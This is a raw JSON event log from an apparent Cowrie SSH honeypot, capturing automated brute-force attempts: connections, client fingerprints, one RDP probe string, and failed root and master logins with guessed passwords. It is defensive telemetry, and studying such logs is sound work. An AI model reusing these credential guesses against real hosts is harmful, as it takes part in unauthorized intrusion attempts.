{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:36.864624Z","src_ip":"103.153.68.219","session":"878f491f8979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjhjktdf","message":"login attempt [root/rjhjktdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:37.603828Z","src_ip":"103.153.68.219","session":"878f491f8979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:38.854217Z","src_ip":"103.153.68.219","session":"878f491f8979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba32abd3beb9","protocol":"ssh","message":"New connection: 37.233.85.71:48318 (10.17.0.5:22) [session: ba32abd3beb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:54.729318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:54.740107Z","src_ip":"37.233.85.71","session":"ba32abd3beb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:54.836389Z","src_ip":"37.233.85.71","session":"ba32abd3beb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987987","message":"login attempt [root/987987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:55.126750Z","src_ip":"37.233.85.71","session":"ba32abd3beb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:28:56.225037Z","src_ip":"37.233.85.71","session":"ba32abd3beb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63855,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a4e786ba89","protocol":"ssh","message":"New connection: 152.42.212.128:63855 (159.203.135.109:22) [session: 30a4e786ba89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:11.324235Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:11.330195Z","src_ip":"152.42.212.128","session":"30a4e786ba89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:11.335150Z","src_ip":"152.42.212.128","session":"30a4e786ba89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":38630,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa9aff1a458","protocol":"ssh","message":"New connection: 103.122.221.179:38630 (159.203.135.109:22) [session: 3fa9aff1a458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:12.382925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:12.390781Z","src_ip":"103.122.221.179","session":"3fa9aff1a458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:12.657193Z","src_ip":"103.122.221.179","session":"3fa9aff1a458","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsqujl","message":"login attempt [root/yjdsqujl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:13.425177Z","src_ip":"103.122.221.179","session":"3fa9aff1a458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:14.684219Z","src_ip":"103.122.221.179","session":"3fa9aff1a458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":39310,"dst_ip":"159.203.135.109","dst_port":22,"session":"92510a38fb74","protocol":"ssh","message":"New connection: 193.32.162.151:39310 (159.203.135.109:22) [session: 92510a38fb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:15.003816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:15.009649Z","src_ip":"193.32.162.151","session":"92510a38fb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:15.118228Z","src_ip":"193.32.162.151","session":"92510a38fb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:15.442212Z","src_ip":"193.32.162.151","session":"92510a38fb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:16.549976Z","src_ip":"193.32.162.151","session":"92510a38fb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48012,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd2044ee3d3","protocol":"ssh","message":"New connection: 193.37.70.224:48012 (159.203.135.109:22) [session: fcd2044ee3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:46.912002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:46.917246Z","src_ip":"193.37.70.224","session":"fcd2044ee3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:47.011654Z","src_ip":"193.37.70.224","session":"fcd2044ee3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12348765","message":"login attempt [root/12348765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:47.282128Z","src_ip":"193.37.70.224","session":"fcd2044ee3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:29:48.374927Z","src_ip":"193.37.70.224","session":"fcd2044ee3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"fac85af89962","protocol":"ssh","message":"New connection: 109.172.54.111:50208 (10.17.0.5:22) [session: fac85af89962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:30:38.226206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:30:38.231616Z","src_ip":"109.172.54.111","session":"fac85af89962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:30:38.332535Z","src_ip":"109.172.54.111","session":"fac85af89962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marlboro","message":"login attempt [root/marlboro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:30:38.768716Z","src_ip":"109.172.54.111","session":"fac85af89962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:30:39.884292Z","src_ip":"109.172.54.111","session":"fac85af89962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":58530,"dst_ip":"159.203.135.109","dst_port":22,"session":"59add2f25e8c","protocol":"ssh","message":"New connection: 193.32.162.151:58530 (159.203.135.109:22) [session: 59add2f25e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:31:27.095282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:31:27.099617Z","src_ip":"193.32.162.151","session":"59add2f25e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:31:27.221139Z","src_ip":"193.32.162.151","session":"59add2f25e8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123456","message":"login attempt [master/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:31:27.538674Z","src_ip":"193.32.162.151","session":"59add2f25e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:31:28.706859Z","src_ip":"193.32.162.151","session":"59add2f25e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39960,"dst_ip":"10.17.0.5","dst_port":22,"session":"1857cece7e63","protocol":"ssh","message":"New connection: 103.77.242.62:39960 (10.17.0.5:22) [session: 1857cece7e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:41.551842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:41.557915Z","src_ip":"103.77.242.62","session":"1857cece7e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:41.800676Z","src_ip":"103.77.242.62","session":"1857cece7e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ctrhtn","message":"login attempt [root/ctrhtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:42.527890Z","src_ip":"103.77.242.62","session":"1857cece7e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:43.773736Z","src_ip":"103.77.242.62","session":"1857cece7e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57808,"dst_ip":"159.203.135.109","dst_port":22,"session":"b115747c8b82","protocol":"ssh","message":"New connection: 103.173.227.57:57808 (159.203.135.109:22) [session: b115747c8b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:51.101712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:32:51.106165Z","src_ip":"103.173.227.57","session":"b115747c8b82","protocol":"ssh"}
